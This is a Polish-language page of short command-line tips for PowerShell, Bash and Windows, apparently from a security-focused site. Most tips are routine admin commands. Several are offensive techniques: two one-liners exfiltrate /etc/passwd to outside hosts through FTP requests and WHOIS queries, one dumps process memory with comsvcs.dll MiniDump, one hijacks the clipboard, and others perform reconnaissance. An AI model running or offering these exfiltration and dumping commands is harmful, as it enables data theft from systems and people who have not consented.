ALPHACON BBS

PowerShell

$i=gp HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU; $i.MRUList.ToCharArray()|%{$i.$_} - pokaż ostatnio uruchamiane polecenia

$i=gp HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU; $i.MRUList.ToCharArray()|%{$i.$_}

Czytaj całość ↵Źródło

Bash / Unix

for a in $(cat /etc/passwd|openssl base64); do curl -s ftp://exfil.aptmc.pl/test_$a -O /dev/null; done - eksfiltruj dane pod płaszczem zapytań FTP

for a in $(cat /etc/passwd|openssl base64); do curl -s ftp://exfil.aptmc.pl/test_$a -O /dev/null; done

Czytaj całość ↵Źródło

Python

python -m pyftpdlib -p 21 -w - uruchom anonimowy serwer FTP do zapisu

python -m pyftpdlib -p 21 -w

Czytaj całość ↵Źródło

PowerShell

1..254 | % {Resolve-DnsName x.x.x.$_ -ErrorAction SilentlyContinue} - rekonesans RevDNS

1..254 | % {Resolve-DnsName x.x.x.$_ -ErrorAction SilentlyContinue}

Czytaj całość ↵Źródło

PowerShell

$ErrorActionPreference = "SilentlyContinue" - nie wyświetlaj (krytycznych) błędów i cichutko kontynuuj wykonywanie

$ErrorActionPreference = "SilentlyContinue"

Czytaj całość ↵Źródło

Bash / Unix

echo 'PROMPT_COMMAND="history -a"' >> ~/.profile - aktualizuj ~/.bash_history na bieżąco

echo 'PROMPT_COMMAND="history -a"' >> ~/.profile

Czytaj całość ↵Źródło

PowerShell

filter tb64 { [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($_)) } - przydatny filtr do kodowania Base64

filter tb64 { [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($_)) }

Czytaj całość ↵Źródło

PowerShell

while(1) { if ((Get-Clipboard) -match "\.exe") { Set-Clipboard "calc.exe" } sleep 1 } - malutkie nadużycie schowka

while(1) { if ((Get-Clipboard) -match "\.exe") { Set-Clipboard "calc.exe" } sleep 1 }

Czytaj całość ↵Źródło

Bash / Unix

less -r <plik> - czytaj <plik> wyświetlając kolory i inne znaki sterujące

less -r <plik>

Czytaj całość ↵Źródło

PowerShell

ls env: wyświetli zmienne środowiskowe

ls env:

Czytaj całość ↵Źródło

PowerShell

ls HKCU:\Software\Sysinternals|select Name - pokaż które narzędzia z Sysinternals (np. PsExec) były używane

ls HKCU:\Software\Sysinternals|select Name

Czytaj całość ↵Źródło

Bash / Unix

curl -i https://nasa.gov/ - wyświetl odpowiedź serwera HTTP wraz z nagłówkami

curl -i https://nasa.gov/

Czytaj całość ↵Źródło

PowerShell

([adsisearcher]"objectCategory=computer").FindAll() - pobierz listę komputerów z Active Directory

([adsisearcher]"objectCategory=computer").FindAll()

Czytaj całość ↵Źródło

PowerShell

Get-Acl pomoże szybko sprawdzić uprawnienia zarówno do plików/katalogów jak i kluczy w rejestrze

Get-Acl

Czytaj całość ↵Źródło

Windows

rundll32.exe c:\windows\system32\comsvcs.dll MiniDump 555 555.dmp full - zapisz zrzut pamięci procesu o ID 555

rundll32.exe c:\windows\system32\comsvcs.dll MiniDump 555 555.dmp full

Czytaj całość ↵Źródło

PowerShell

Powershellowy Select-String pomoże odnaleźć interesujące stringi niczym grep

Select-String

Czytaj całość ↵Źródło

Windows

strings.exe z pakietu Sysinternals pomoże szybko analizować tekst w plikach binarnych

strings.exe

Czytaj całość ↵Źródło

Bash / Unix

Potrzebujesz wrócić do zagłębionego katalogu, z którego przez przypadek wyszedłeś? Ratunkiem będzie cd -

cd -

Czytaj całość ↵Źródło

Bash / Unix

whois -h aptm.in "$(cat /etc/passwd)" - eksfiltruj dane z wykorzystaniem usługi WHOIS

whois -h aptm.in "$(cat /etc/passwd)"

Czytaj całość ↵Źródło

PowerShell

Wyświetl internetowe połączenia TCP

Wyświetl internetowe połączenia TCP: Get-NetTCPConnection -AppliedSetting Internet

Get-NetTCPConnection -AppliedSetting Internet

Czytaj całość ↵Źródło

Protipy